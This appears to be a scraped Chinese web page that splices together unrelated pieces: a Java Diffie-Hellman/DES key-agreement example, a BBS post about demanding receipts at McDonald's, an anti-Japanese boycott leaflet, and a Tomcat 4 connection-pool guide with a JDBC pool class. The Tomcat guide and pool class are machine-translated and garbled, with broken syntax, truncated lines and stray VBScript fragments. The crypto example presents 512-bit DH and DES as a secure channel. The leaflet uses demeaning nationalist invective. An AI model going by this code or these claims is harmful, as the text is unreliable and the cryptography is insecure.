public void initialize(int keysize)
以指定的长度初始化KeyPairGenerator对象,如果没有初始化系统以1024长度默认设置
参数:keysize 算法位长.其范围必须在 512 到 1024 之间,且必须为 64 的倍数
注意:如果用1024生长的时间很长,最好生成一次后就保存,下次就不用生成了
public void initialize(AlgorithmParameterSpec params)
throws InvalidAlgorithmParameterException
以指定参数初始化
javax.crypto.interfaces.DHPublicKey
public DHParameterSpec getParams()
返回
java.security.KeyFactory
public static KeyFactory getInstance(String algorithm)
throws NoSuchAlgorithmException
以指定的算法返回一个KeyFactory
参数: algorithm 算法名:DSH,DH
public final PublicKey generatePublic(KeySpec keySpec)
throws InvalidKeySpecException
根据指定的key说明,返回一个PublicKey对象
java.security.spec.X509EncodedKeySpec
public X509EncodedKeySpec(byte[] encodedKey)
根据指定的二进制编码的字串生成一个key的说明
参数:encodedKey 二进制编码的字串(一般能过PublicKey.getEncoded()生成)
javax.crypto.KeyAgreement 密码一至类
public static final KeyAgreement getInstance(java.lang.String algorithm)
throws java.security.NoSuchAlgorithmException
返回一个指定算法的KeyAgreement对象
参数:algorithm 算法名,现在只能是DiffieHellman(DH)
public final void init(java.security.Key key)
throws java.security.InvalidKeyException
用指定的私钥初始化
参数:key 一个私钥
public final java.security.Key doPhase(java.security.Key key,
boolean lastPhase)
throws java.security.InvalidKeyException,
java.lang.IllegalStateException
用指定的公钥进行定位,lastPhase确定这是否是最后一个公钥,对于两个用户的
情况下就可以多次定次,最后确定
参数:key 公钥
lastPhase 是否最后公钥
public final SecretKey generateSecret(java.lang.String algorithm)
throws java.lang.IllegalStateException,
java.security.NoSuchAlgorithmException,
java.security.InvalidKeyException
根据指定的算法生成密钥
参数:algorithm 加密算法(可用 DES,DESede,Blowfish)
*/
import java.io.*;
import java.math.BigInteger;
import java.security.*;
import java.security.spec.*;
import java.security.interfaces.*;
import javax.crypto.*;
import javax.crypto.spec.*;
import javax.crypto.interfaces.*;
import com.sun.crypto.provider.SunJCE;
public class testDHKey {
public static void main(String argv[]) {
try {
testDHKey my= new testDHKey();
my.run();
} catch (Exception e) {
System.err.println(e);
}
}
private void run() throws Exception {
Security.addProvider(new com.sun.crypto.provider.SunJCE());
System.out.println(“ALICE: 产生 DH 对 …”);
KeyPairGenerator aliceKpairGen = KeyPairGenerator.getInstance(“DH”);
aliceKpairGen.initialize(512);
KeyPair aliceKpair = aliceKpairGen.generateKeyPair(); //生成时间长
// 张三(Alice)生成公共密钥 alicePubKeyEnc 并发送给李四(Bob) ,
//比如用文件方式,socket…..
byte[] alicePubKeyEnc = aliceKpair.getPublic().getEncoded();
//bob接收到alice的编码后的公钥,将其解码
KeyFactory bobKeyFac = KeyFactory.getInstance(“DH”);
X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec (alicePubKeyEnc);
PublicKey alicePubKey = bobKeyFac.generatePublic(x509KeySpec);
System.out.println(“alice公钥bob解码成功”);
// bob必须用相同的参数初始化的他的DH KEY对,所以要从Alice发给他的公开密钥,
//中读出参数,再用这个参数初始化他的 DH key对
//从alicePubKye中取alice初始化时用的参数
DHParameterSpec dhParamSpec = ((DHPublicKey)alicePubKey).getParams();
KeyPairGenerator bobKpairGen = KeyPairGenerator.getInstance(“DH”);
bobKpairGen.initialize(dhParamSpec);
KeyPair bobKpair = bobKpairGen.generateKeyPair();
System.out.println(“BOB: 生成 DH key 对成功”);
KeyAgreement bobKeyAgree = KeyAgreement.getInstance(“DH”);
bobKeyAgree.init(bobKpair.getPrivate());
System.out.println(“BOB: 初始化本地key成功”);
//李四(bob) 生成本地的密钥 bobDesKey
bobKeyAgree.doPhase(alicePubKey, true);
SecretKey bobDesKey = bobKeyAgree.generateSecret(“DES”);
System.out.println(“BOB: 用alice的公钥定位本地key,生成本地DES密钥成功”);
// Bob生成公共密钥 bobPubKeyEnc 并发送给Alice,
//比如用文件方式,socket…..,使其生成本地密钥
byte[] bobPubKeyEnc = bobKpair.getPublic().getEncoded();
System.out.println(“BOB向ALICE发送公钥”);
// alice接收到 bobPubKeyEnc后生成bobPubKey
// 再进行定位,使aliceKeyAgree定位在bobPubKey
KeyFactory aliceKeyFac = KeyFactory.getInstance(“DH”);
x509KeySpec = new X509EncodedKeySpec(bobPubKeyEnc);
PublicKey bobPubKey = aliceKeyFac.generatePublic(x509KeySpec);
System.out.println(“ALICE接收BOB公钥并解码成功”);
;
KeyAgreement aliceKeyAgree = KeyAgreement.getInstance(“DH”);
aliceKeyAgree.init(aliceKpair.getPrivate());
System.out.println(“ALICE: 初始化本地key成功”);
aliceKeyAgree.doPhase(bobPubKey, true);
// 张三(alice) 生成本地的密钥 aliceDesKey
SecretKey aliceDesKey = aliceKeyAgree.generateSecret(“DES”);
System.out.println(“ALICE: 用bob的公钥定位本地key,并生成本地DES密钥”);
if (aliceDesKey.equals(bobDesKey)) System.out.println(“张三和李四的密钥相同”);
//现在张三和李四的本地的deskey是相同的所以,完全可以进行发送加密,接收后解密,达到
//安全通道的的目的
/*
* bob用bobDesKey密钥加密信息
*/
Cipher bobCipher = Cipher.getInstance(“DES”);
bobCipher.init(Cipher.ENCRYPT_MODE, bobDesKey);
String bobinfo= ”这是李四的机密信息”;
System.out.println(“李四加密前原文:”+bobinfo);
byte[] cleartext =bobinfo.getBytes();
byte[] ciphertext = bobCipher.doFinal(cleartext);
/*
* alice用aliceDesKey密钥解密
*/
Cipher aliceCipher = Cipher.getInstance(“DES”);
aliceCipher.init(Cipher.DECRYPT_MODE, aliceDesKey);
byte[] recovered = aliceCipher.doFinal(ciphertext);
System.out.println(“alice解密bob的信息:”+(new String(recovered)));
if (!java.util.Arrays.equals(cleartext, recovered))
throw new Exception(“解密后与原文信息不同”);
System.out.println(“解密后相同”);
}
}
第3章小结
在加密术中生成密钥对时,密钥对的当然是越长越好,但费时也越多,请从中从实际出发选取合适的长度,大部分例码中的密钥是每次运行就从新生成,在实际的情况中是生成后在一段时间保存在文件中,再次运行直接从文件中读入,从而加快速度。当然定时更新和加强密钥保管的安全性也是必须的
标 题: 去麦当劳、肯德基吃饭一定要发票(一定要顶)
发信站: 一塌糊涂 BBS (Thu Aug 12 16:47:45 2004), 本站(ytht.net)
business.sohu.com 2004年8月9日09:00 来源:[ 搜狐理财社区 ]
去麦当劳、肯德基吃饭一定要记得要发票,麦当劳、肯德基每年在中国因为我们都不习惯要发票的原因而掠走将近20亿元的税收。
一个月前我在麦当劳的经历。店里人不少,我付了款索要发票,值班经理拿出一个本子要我签名,说是由于现在使用刮奖发票,所以店里规定要发票的客人必须签名,防止店员自己偷发票刮奖。我拒绝,没有什么规定说要发票还要签名。 局面有点僵持。排在我身后的人开始催促,一个眼镜嘟囔:想中奖也别浪费我们时间啊—我无奈,拿起笔,庄严的签下三个字:本拉登!
从不知所措的经理手中拿过发票,撕碎扔进餐盘,我说:我只是不想让美国人偷中国的税。后来我发现排我身后的几乎都要了发票,包括那个眼镜我们大多数人没有要发票的习惯。也许在餐厅,坐着叫服务员送发票来我们还不嫌麻烦。但在麦当劳、kfc、沃尔玛、家乐福等等,我们就不愿去费功夫要票了。 在当今全球化的市场中,我们无法抵制某些东西。但如果我们爱国,却可以从身边的小事做起,花费您几分钟而已。再说得大一点,我们可以来算个帐:
中国去年社会商品零售总额:7000亿; 餐饮娱乐消费:6000亿;合计13000亿,扣去农村消费、团体消费(国家买单)、大宗消费(家电等必须开票),还有约4000亿现金流动。按5的税率(餐饮娱乐税率更高),每年流失的税收为:200亿。这里面就有麦当劳、kfc、沃尔玛、家乐福等等的漏税。
如果有10个人愿意多花几分钟,我们就有20亿,足够建造航母的舰体了。
如果有20个人愿意多花几分钟,我们又多了20亿,足够航母的栖装了。
我已经习惯了要发票,这是我力所能及最简单的爱国方式。虽然这些税收很可能有部分流入某些人的腰包,但我相信这总是一种力量。
有一种地方我不要票,那种很小的小吃或杂货铺,因为很可能是下岗的开的。
爱我中华、抵制日货
今日中午11:30–12:30,在清华园的第十食堂、万人食堂、紫荆食堂三处,同时开展了“爱我中华、抵制日货”活动。 活动主题是“爱我中华、抵制日货”,通过免费发送文化衫、传单,及横幅、展板等形式进行了多方面的宣传。活动开展得非常热烈,得到了广大同学、教工及来清华的其他学生、社会人士的大力支持。下面是现场发放传单的宣传稿:
爱我中华、抵制日货
从我开始做起! 从我家开始做起!!从我的同学朋友开始做起!!! 从我身边的各个组织开始做起!!!!让我们行动起来—-抵制日货!
日本政要屡次参拜靖国神社、否定二战罪行、淡化和美化侵略史、霸占我钓鱼岛,拒不赔偿中国二战受害劳工和齐齐哈尔毒气受害者、侮辱并称要遣送在东京的中国人,亚洲金融危机时日元贬值、充当促使人民币升值的急先锋,日本军舰驱赶中国保钓船只和渔船、非法扣留保钓人士,暗中支持台独、修改和平宪法、出兵伊拉克……
狼子野心、昭然若揭。
不仅如此,日本企业向三峡工程提供劣质钢材!东芝向大陆消费者出售劣质笔记本电脑,日航风波、丰田广告事件以及三菱汽车召回事件!SKⅡ和“立邦漆”正在毒害亿万中国人民!……
见利忘义,狗彘不如。
不仅如此,日本人在2000年10月朱总理访日期间无礼挑衅、2003年9月16日珠海集体买春、2004年4月23日右翼分子开车撞击我国驻日本大阪总领事馆、2004年5月8日大连施暴……
丑恶嘴脸、天人共诛。
与狼为邻,就不要以血饲狼!
古有伯夷叔齐不食周粟饿死首阳山!近有清华校友朱自清饿死不吃美国粮!
韩国汉城街头看不到日本汽车,韩国有40多个民间团体支持抵制日货,韩国女星金喜善拒绝乘坐日本车,日本正式向韩国道歉但拒绝向中国正式道歉。
作为普通民众,我们能做的就是汇集个人的力量来给日本以回击!如果世界各地的所有华人停止购买日货,日本每年将损失1000-1400亿美元的外汇收入!–相当于中国几十年的外汇储备!
我们深知,仅凭我们的力量是不够的,因此我们需要发展壮大!一直到每一个有购买能力的人都加入到我们的行列!给日本经济以重创!
作为清华人,我们更加有能力和责任来宣传抵制日货,让抵制日货成为我们有血性的 中国人的一种习惯。
靖康耻,犹未血。清华学子,行胜于言。
我们或许注定不能在战场上报国杀敌,无法体会“笑谈渴饮匈奴血,壮志饥餐胡虏肉”的痛快,那就让我们杀敌于无形,像圣雄甘地一样,用我们的执著和热情养成抵制日货的习惯,让敌人在无声无息中轰然倒塌,为先辈雪耻,为后辈解忧。
我们此次组织的募捐活动,所募资金将全部用于印制更多的抵制日货宣传T恤和宣传材料在更大的范围内发放,以号召更多的人加入到抵制日货的潮流中来。同胞们、同学们、大家起来,担负起天下的兴亡!我们今天是桃李芬芳,明天是社会的栋梁。我们今天是弦歌在一堂,明天要掀起民族自救的巨浪。巨浪!巨浪 !不断地增涨,快拿出力量,担负起天下的兴亡 !
行动口号:爱我中华、抵制日货!
行动目标:以清华学子的高度社会责任感,在力所能及的范围内掀起抵制日货运动的高潮;以我们的实际行动给予日本政府及右翼份子迎头痛击,维护国家和民族尊严;以我们的行动影响社会民众,教育我们的下一代,展示中华民族的团结精神。
行动宗旨:非暴力、非直接对抗性的民族自救活动
行动号召:抵制日货,从我做起!
请不要购买以下日本产品:
(1) 数码照相机和数码摄像机
富士、柯尼卡、索尼、佳能、美能达、JVC、松下、东芝、尼康、奥林巴斯
(上述公司均出资支持日本右翼修改教科书,否认南京大屠杀和侵华史实。)
推荐替代品牌: 中国联想、美国柯达、韩国三星
2) 汽车产品
本田_HONDA、丰田_TOYOTA、铃木_SUZUKI、日产_NISSAN、三菱_MITSUBISHI、马
自达_MAZDA、斯巴鲁_SUBARU、五十铃_ISUZU
(上述公司是日本重工业的支柱,也是日本主要武器装备制造商,是日本右翼势力的主要帮凶。)
推荐替代品牌:
经济型品牌:福莱尔、吉利、哈飞、菲亚特;中档品牌:奇瑞、中
华、 红旗、大众、现代、上海通用、福特、起亚、斯科达等;
高档品牌:
奔驰、宝马、奥迪、沃尔沃等
(3) 家用电器及办公器材类
JVC、索尼、松下、东芝、卡西欧_CASIO、建伍_KENWOOD、爱华_AIWA、阿尔派
_ALPINENEC、精工_SIEKO、日立_HITACHI、兄弟_BROTHER、先锋_PIONEER、
夏普_SHARP、富士通_FUJITSUTUKA、爱普生_EPSON、理光_RICHO、三洋_SANYO等
推荐替代品牌:海尔、长虹、TCL、春兰、厦新、联想、菲利浦、西门子、伊莱克斯、惠普等
(4) IT类(电脑及通讯产品)
东芝_TOSHIBA、NEC、SONY、松下_PANASONIC、索爱、京瓷_KYOCERA等
推荐替代品牌:联想、方正、IBM、DELL、HP、夏新、波导、TCL、康佳、
NOKIA、MOTOROLA、三星等
(5) 化妆品及日常洗化类
资生堂_SHISEIDO、DHCMILD、花王_KAO、狮王_LION、诗芬_SIFONE、碧柔_BIORE、多芬 _DOVE、乐而雅_LAURIER、高丝_KOSE、NATURGO等
推荐替代品牌: 很多, 略。
(6) 烟酒及食品等
柔和七星_MILDSEVEN、明治食品、四洲食品、麒麟啤酒、午后红茶LUCIDO、
朝日啤酒、BOSS咖啡、日清食品、日本酒、雪印食品、Suntory茶、味千拉面
推荐替代品牌: 很多, 略。
(7) 综合
立邦油漆_NIPPON、TOTO卫浴、富士胶卷_FUJIFILM、松本电工、爱眼眼
镜、精工眼镜、横滨轮胎、第一生命(制药)、武田药品、太田胃药、森永化工、OKI(针打)、野尻(眼镜)、伊都锦
起初他们追杀共产主义者,我不是共产主义者,我不说话;
接着他们追杀犹太人,我不是犹太人,我不说话;
此后他们追杀工会成员,我不是工会成员,我继续不说话;
再后来他们追杀天主教徒,我不是天主教徒,我还是不说话;
最后,他们奔我而来,再也没有人站起来为我说话了。
— 刻于美国波士顿犹太人被屠杀纪念碑
請傳閱給身邊的親朋好友及所有認識的人,
讓每一個中國人都能知道!!!!
一傳十, 十傳百, 有了點滴開始, 就能匯成汪洋大海!
PS: 浙大也在准备中,文化衫和传单已经设计好
交大作为西部老大,是否也有所响应呢
Tomcat4的数据库连接池配置
Tomcat数据库连接池的配置,及程序对连接池的JNDI查找,并提供相应测试代码。最后指出配置及应用过程中的常见问题及解决方法。
一、Tomcat简介
>
on error resume next。.
ShockMode = (IsObject (CreateObject ("ShockwaveFlash.. ShockwaveFlash. .5 ")))。 .
Apache Jakarta Tomcat is a subproject of the Sun Company recommended JSP and Servlet container. As an application server, Tomcat offers database connection pooling, SSL, Proxy, and many other common components feature, in which connection pooling is 4. .0 above versions of new features, a very broad application.
Second, Tomcat4 the connection pool. .
Tomcat4 development can be divided into two phases, 4. .0. .6 is phase one of the most recommended release version, the built-in database connection pool is 0. .9 Tyrex. .7. .0, Tyrex development by exolab. .org, pertinent information can see www. exolab。.org。 After that, the developers in Tomcat 4. .x .0. on the basis of a refactoring, Tomcat refactored release version recommended 4. .1. 18, when the built-in connection pool to DBCP, DBCP is also one of the Jakarta Commons subproject. .
Next, you will respectively 4. .0. .6 .1. and 4. the .18 this pool for Oracle8. .1. .7 configuration.
Third, on the Tomcat4. .0. .6 The Tyrex configuration. .
For the sake of convenience, connection pooling will be placed at the ROOT, the JNDI name jdbc/OracleDB is set to on, the database server IP to 192. .168. .0. .50, SID to oradb, operating system Win2000, jdk1. .1 .3., the following configuration steps.
The first step: Configure server. . Xml. .
The .XML file in the server...
. .
。.
. .
。.
. .
。.
. .
。.
user. .
。.
holen. .
。.
. .
。.
. .
。.
password. .
。.
holen. .
。.
. .
。.
. .
。.
driverClassName. .
。.
oracle. . Jdbc. . Driver. . OracleDriver. .
。.
. .
。.
. .
。.
driverName. .
。.
jdbc: oracle: thin: @ 192. .168. .0. .50:1521: Oradb. .
。.
. .
。.
. .
。.
Description: The ROOT of Context moved out from the comments, and define the Resource entry, as follows:. .
Resource (i.e. connection pooling DataSource objects), there are three properties for name, type, auth, name is the JNDI name is defined, the program can be found through JNDI, here named jdbc/auth items i.e. OracleDB; connection pool management properties, the value here, affirming for the container Container; type item that is the type of object, the value here. .. .sql javax. DataSource, stated for the database connection pool, Tyrex not only as a database connection pool, and many other features, interested friend can open Tyrex the jar package to see or visit www. . Exolab. . Org, do not say here. .
In the next field contents contains four parameters, user, password, driverName, driverClassName = the database user name, password, the JDBC driver and database.
User name, password to access the database for the preparation, here are values holen. .
DriverClassName i.e. database JDBC driver name, such as Oracle8. .1. .7 of JDBC Drivers Pack named classes, generally located on the .jar. Oracle installation directory under the directory under which the initial ora81\jdbc\lib extension ZIP, you need to manually put the .zip renamed classes. classes. .jar, and into common/lib. Here the value of oracle. .jdbc. .driver. OracleDriver, such by the classes. . Jar provided. .
driverClassName。.
oracle. . Jdbc. . Driver. . OracleDriver. .
For other databases such as MySql, its usually driverClassName. .gjt. org. .mysql. .Driver .mm.
The last parameter that driverName, the database address (exact point that should be called the url, 4. .1. .18 Called on to change the url). .
driverName。.
jdbc: oracle: thin: @ 192. .168. .0. .50:1521: Oradb. .
Fill in here is the address of the access to Oracle, MySql, DB2, SqlServer or other databases, please fill in the appropriate address.
Step Two: The Oracle's JDBC driver classes12. . Jar copy to the Tomcat installation directory common / lib, other databases, too, please send the appropriate JDBC driver package placed in common / lib, such as MySql's JDBC driver package mm. . Mysql-2. .0. .14. . Jar. .
At this point, the configuration is complete, the test code will be given later.
Fourth, Tomcat4. .1. .18 Of DBCP configuration. .
4. configuration methods with .0. .6 is slightly different, the following configuration steps.
The first step: Configure server. . Xml. .
The .XML file in the server...
. .
。.
. .
<>。.
. .
type=”javax。.sql。.DataSource”/> 。.
. .
。.
. .
。.
factory. .
。.
org. . Apache. . Commons. . Dbcp. . BasicDataSourceFactory. .
。.
. .
。.
. .
。.
driverClassName. .
。.
oracle. . Jdbc. . Driver. . OracleDriver. .
。.
. .
。.
. .
。.
url. .
。.
jdbc: oracle: thin: @ 192. .168. .0. .50:1521: Oradb. .
。.
. .
。.
. .
。.
username. .
。.
holen. .
。.
. .
。.
. .
。.
password. .
。.
holen. .
。.
. .
。.
. .
。.
maxActive. .
。.
20. .
。.
. .
。.
. .
。.
maxIdle. .
。.
10. .
。.
. .
。.
. .
。.
maxWait. .
。.
-1. .
。.
. .
。.
. .
Note: you can see from the configuration file, the configuration and the DBCP Tyrex are similar, but feature-rich. The same is not to say that focuses on a different place.
factory parameters:. .
factory。.
org. . Apache. . Commons. . Dbcp. . BasicDataSourceFactory. .
That is the underlying object factory value .commons .apache org..., .dbcp. .BasicDataSourceFactory DBCP comes with factory, you can also use the other.
Be clear that, although 4. .1. .18 In the main push for DBCP connection pool, but can still use Tyrex as a connection pool, but at this time Tyrex from 0. .9. .7. Upgrade to 1 .0. .0, Support JTA / JCA and object, the object of access is still through JNDI, the concrete configuration method can see Tomcat documentation. .
Url:..
url. .
jdbc:oracle:thin:@192。.168。.0。.50:1521:oradb。.
url is a database access address mentioned in the premise. .
The next three parameters that are related to the number of connections, as follows:.
maxActive. .
20.
maxIdle. .
10.
maxWait. .
-1.
. .
MaxActive is the maximum number of connections is activated, the value 20 here, said at a maximum of 20 connections to the database.
maxIdle is the largest number of idle connections, where values of 10, said that even without the connection request, can still maintain the 10-free connection, and not be removed at any time on standby. On the object's state, interested friend can see EJB information. .
MaxWait is the maximum number of seconds to wait, here a value of-1 indicates an infinite wait until a timeout, you can also evaluate 9000, 9 seconds.
Point on the maxActive and maxIdle recommendations for enterprise applications, its value is generally close to both, or the same key is applied to analyze the size. .
Step 2: Configure web. .xml.
Open the webapps / ROOT / WEB-INF under the web. . Xml, adding the following:. .
Oracle。.
Datasource example. .
jdbc/OracleDB。.
javax. . Sql. . DataSource. .
Container。.
. .
Note: this step can be omitted, or do not configure web. .xml or you can use connection pooling, but formal application or project proposal.
The third step: to Oracle's JDBC driver classes12. . Jar copy to the Tomcat installation directory common / lib under. .
At this point, the configuration is complete, the test code will be given later.
5, test the code. .
The following write a JSP file testdb. .jsp and testdb. .jsp placed webapps/ROOT directory to test the configuration is correct, this testing two versions above are suitable.
Database as follows:. .
Create table test(id varchar2(12),name varchar2(30))。.
testdb. . Jsp as follows:. .
<%
try{
Context initCtx = new InitialContext();
Context ctx = (Context) initCtx.lookup(“java:comp/env”);
//获取连接池对象
Object obj = (Object) ctx.lookup(“jdbc/OracleDB”);
//类型转换
javax.sql.DataSource ds = (javax.sql.DataSource)obj;
Connection conn = ds.getConnection();
Statement stmt = conn.createStatement();
String strSql = ” insert into test(id,name) values(‘00001′,’holen’)
“;
stmt.executeUpdate(strSql);
strSql = ” select id,name from test “;
ResultSet rs = stmt.executeQuery(strSql);
if(rs.next()){
out.println(rs.getString(1));
out.println(rs.getString(2));
}
}catch(Exception ex){
ex.printStackTrace();
throw new SQLException(“cannot
get Connection pool.”);
}
%>
说明:先通过JNDI找到jdbc/OracleDB对象,这里是分两步完成的,也可以一步完成,如
Object obj = (Object) ctx.lookup(“java:comp/env /jdbc/OracleDB”);
然后将得到的对象转换成DataSource类型,进而得到连接,得到连接后就可以进行相应的数据库操作了。
这里对数据库进行了两步操作,第一步是插入一条记录,第二步是从数据库中取出记录,并显示第一条记录的内容。
打开网页,在地址栏中输入http://localhost:8080/testdb.jsp,若一切正常,将显示“00001 holen”。
六、总结
on error resume next。.
ShockMode = (IsObject (CreateObject ("ShockwaveFlash.. ShockwaveFlash. .5 ")))。 .

The above configuration the Tomcat4. .0. .6 .1 and Tomcat4.. .18 built-in connection pooling, Tomcat4 other versions of similar configuration method, the calling method. Connection pool configuration mainly modify .xml and web server.. .xml.
Need to point out that, Tomcat4. .1. .18 Has a management interface, this interface can be configured through the connection pool and other features, but this way the connection pool configuration is not available (the test run will be found very slow, because the JNDI to find, but can not establish a connection ), this is a management tool, a BUG, has been reported to the Tomcat BUG list, more details can be found in tomcat-user mailing list. .
VII. references.
Tomcat Documentation. .
http://www。.mail-archive。.com/tomcat-dev@jakarta。.apache。.org/。.
http://www. . Mail-archive. .com / tomcat-user @ jakarta. . Apache. . Org /. .
Java JDBC database connection pooling implementation method.
Keywords: Java, JDBC, Connection Pool, Database, database connection pool, sourcecode. .
While J2EE programmers generally have an existing application server with JDBC database connection pooling, but for general Application, Java Applet, or JSP and velocity, we can use JDBC database connection pooling, and general performance. Java programmers are very envious of Windows, you only need new ADO Connection can connect directly from the database Connection pool returns. And the ADO Connection is thread-safe, multiple threads can share a Connection, so generally regarded getConnection ASP program on Global. . Asa file, the IIS start to establish a database connection. ADO's Connection and Result have a good buffer, and easy to use. .
In fact, we can write a JDBC database connection pool. Write notes on JDBC connection pool:.
1. . There is a simple function from the connection pool to get a Connection. .
2. Close function must set the connection to the database connection pool.
3. . When the database connection pool is not idle connection, database connection pool must be able to automatically increase the number of connection. .
4. When a database connection pool by the number of connection at a particular time is, but after a long time only a small part of it, should be able to automatically add the extra connection closed off.
5. . If possible, the report should provide debug information did not close the new Connection. .
If you want the new Connection you can directly from the database connection pool returns the Connection, you can write (Mediator pattern) (the following code uses the Chinese full-width space):.
public class EasyConnection implements java. . Sql. . Connection (. .
private Connection m_delegate = null;。.
public EasyConnection () (. .
m_delegate = getConnectionFromPool();。.
). .
public void close(){。.
putConnectionBackToPool (m_delegate);. .
}。.
public PreparedStatement prepareStatement (String sql) throws SQLException (. .
m_delegate。.prepareStatement(sql);。.
). .
//…… other method。.
). .
It is not difficult. But this way is not recommended, because you should avoid using the Java Interface, Java Interface flaw I also write articles and discussions. Everyone is concerned about the realization of the Connection Pool. The following gives a method to implement.
import java. . Sql. .*;. .
import java。.lang。.reflect。.*;。.
import java. . Util. .*;. .
import java。.io。.*;。.
public class SimpleConnetionPool (. .
private static LinkedList m_notUsedConnection = new LinkedList();。.
private static HashSet m_usedUsedConnection = new HashSet ();. .
private static String m_url = “”;。.
private static String m_user = "";. .
private static String m_password = “”;。.
static final boolean DEBUG = true;. .
static private long m_lastClearClosedConnection = System。.currentTimeMillis();。.
public static long CHECK_CLOSED_CONNECTION_TIME = 4 * 60 * 60 * 1000; / / 4 hours. .
static {。.
initDriver ();. .
}。.
private SimpleConnetionPool () (. .
}。.
private static void initDriver () (. .
Driver driver = null;。.
/ / Load mysql driver. .
try {。.
driver = (Driver) Class. . ForName ("com.. Mysql.. Jdbc.. Driver"). . NewInstance ();. .
installDriver(driver);。.
) Catch (Exception e) (. .
}。.
/ / Load postgresql driver. .
try {。.
driver = (Driver) Class. . ForName ("org.. Postgresql.. Driver"). . NewInstance ();. .
installDriver(driver);。.
) Catch (Exception e) (. .
}。.
). .
public static void installDriver(Driver driver) {。.
try (. .
DriverManager。.registerDriver(driver);。.
) Catch (Exception e) (. .
e。.printStackTrace();。.
). .
}。.
public static synchronized Connection getConnection () (. .
clearClosedConnection();。.
while (m_notUsedConnection.. size ()> 0) (. .
try {。.
ConnectionWrapper wrapper = (ConnectionWrapper) m_notUsedConnection. . RemoveFirst ();. .
if (wrapper。.connection。.isClosed()) {。.
continue;. .
}。.
m_usedUsedConnection. . Add (wrapper);. .
if (DEBUG) {。.
wrapper. . DebugInfo = new Throwable ("Connection initial statement");. .
}。.
return wrapper. . Connection;. .
} catch (Exception e) {。.
). .
}。.
int newCount = getIncreasingConnectionCount ();. .
LinkedList list = new LinkedList();。.
ConnectionWrapper wrapper = null;. .
for (int i = 0; i < newcount; i++) {。. newcount;="" i++)=""> newcount; i++) {。.>
wrapper = getNewConnection ();. .
if (wrapper != null) {。.
list. . Add (wrapper);. .
}。.
). .
if (list。.size() == 0) {。.
return null;. .
}。.
wrapper = (ConnectionWrapper) list. . RemoveFirst ();. .
m_usedUsedConnection。.add(wrapper);。.
m_notUsedConnection. . AddAll (list);. .
list。.clear();。.
return wrapper. . Connection;. .
}。.
private static ConnectionWrapper getNewConnection () (. .
try {。.
Connection con = DriverManager. . GetConnection (m_url, m_user, m_password);. .
ConnectionWrapper wrapper = new ConnectionWrapper(con);。.
return wrapper;. .
} catch (Exception e) {。.
e. . PrintStackTrace ();. .
}。.
return null;. .
}。.
static synchronized void pushConnectionBackToPool (ConnectionWrapper con) (. .
boolean exist = m_usedUsedConnection。.remove(con);。.
if (exist) (. .
m_notUsedConnection。.addLast(con);。.
). .
}。.
public static int close () (. .
int count = 0;。.
Iterator iterator = m_notUsedConnection. . Iterator ();. .
while (iterator。.hasNext()) {。.
try (. .
( (ConnectionWrapper) iterator。.next())。.close();。.
count + +;. .
} catch (Exception e) {。.
). .
}。.
m_notUsedConnection. . Clear ();. .
iterator = m_usedUsedConnection。.iterator();。.
while (iterator.. hasNext ()) (. .
try {。.
ConnectionWrapper wrapper = (ConnectionWrapper) iterator. . Next ();. .
wrapper。.close();。.
if (DEBUG) (. .
wrapper。.debugInfo。.printStackTrace();。.
). .
count++;。.
) Catch (Exception e) (. .
}。.
). .
m_usedUsedConnection。.clear();。.
return count;. .
}。.
private static void clearClosedConnection () (. .
long time = System。.currentTimeMillis();。.
/ / Sometimes user change system time, just return. .
if (time < m_lastclearclosedconnection) {。. m_lastclearclosedconnection)=""> m_lastclearclosedconnection) {。.>
time = m_lastClearClosedConnection;. .
return;。.
). .
//no need check very often。.
if (time - m_lastClearClosedConnection
return;。.
). .
m_lastClearClosedConnection = time;。.
/ / Begin check. .
Iterator iterator = m_notUsedConnection。.iterator();。.
while (iterator.. hasNext ()) (. .
ConnectionWrapper wrapper = (ConnectionWrapper) iterator。.next();。.
try (. .
if (wrapper。.connection。.isClosed()) {。.
iterator. . Remove ();. .
}。.
) Catch (Exception e) (. .
iterator。.remove();。.
if (DEBUG) (. .
System。.out。.println(“connection is closed, this connection initial StackTrace”);。.
wrapper. . DebugInfo. . PrintStackTrace ();. .
}。.
). .
}。.
/ / Make connection pool size smaller if too big. .
int decrease = getDecreasingConnectionCount();。.
if (m_notUsedConnection.. size ()
return;。.
). .
while (decrease– > 0) {。.
ConnectionWrapper wrapper = (ConnectionWrapper) m_notUsedConnection. . RemoveFirst ();. .
try {。.
wrapper. . Connection. . Close ();. .
} catch (Exception e) {。.
). .
}。.
). .
/**。.
* Get increasing connection count, not just add 1 connection. .
* @return count。.
* /. .
public static int getIncreasingConnectionCount() {。.
int count = 1;. .
int current = getConnectionCount();。.
count = current / 4;. .
if (count < 1) {。. 1)=""> 1) {。.>
count = 1;. .
}。.
return count;. .
}。.
/ **. .
* get decreasing connection count, not just remove 1 connection。.
* @ Return count. .
*/。.
public static int getDecreasingConnectionCount () (. .
int count = 0;。.
int current = getConnectionCount ();. .
if (current < 10) {。. 10)=""> 10) {。.>
return 0;. .
}。.
return current / 3;. .
}。.
public synchronized static void printDebugMsg () (. .
printDebugMsg(System。.out);。.
). .
public synchronized static void printDebugMsg(PrintStream out) {。.
if (DEBUG == false) (. .
return;。.
). .
StringBuffer msg = new StringBuffer();。.
msg. . Append ("debug message in" + SimpleConnetionPool.. Class.. GetName ());。 .
msg。.append(“\r\n”);。.
msg. . Append ("total count is connection pool:" + getConnectionCount ());。 .
msg。.append(“\r\n”);。.
msg. . Append ("not used connection count:" + getNotUsedConnectionCount ());。 .
msg。.append(“\r\n”);。.
msg. . Append ("used connection, count:" + getUsedConnectionCount ());。 .
out。.println(msg);。.
Iterator iterator = m_usedUsedConnection. . Iterator ();. .
while (iterator。.hasNext()) {。.
ConnectionWrapper wrapper = (ConnectionWrapper) iterator. . Next ();. .
wrapper。.debugInfo。.printStackTrace(out);。.
). .
out。.println();。.
). .
public static synchronized int getNotUsedConnectionCount() {。.
return m_notUsedConnection. . Size ();. .
}。.
public static synchronized int getUsedConnectionCount () (. .
return m_usedUsedConnection。.size();。.
). .
public static synchronized int getConnectionCount() {。.
return m_notUsedConnection. . Size () + m_usedUsedConnection. . Size ();. .
}。.
public static String getUrl () (. .
return m_url;。.
). .
public static void setUrl(String url) {。.
if (url == null) (. .
return;。.
). .
m_url = url。.trim();。.
). .
public static String getUser() {。.
return m_user;. .
}。.
public static void setUser (String user) (. .
if (user == null) {。.
return;. .
}。.
m_user = user. . Trim ();. .
}。.
public static String getPassword () (. .
return m_password;。.
). .
public static void setPassword(String password) {。.
if (password == null) (. .
return;。.
). .
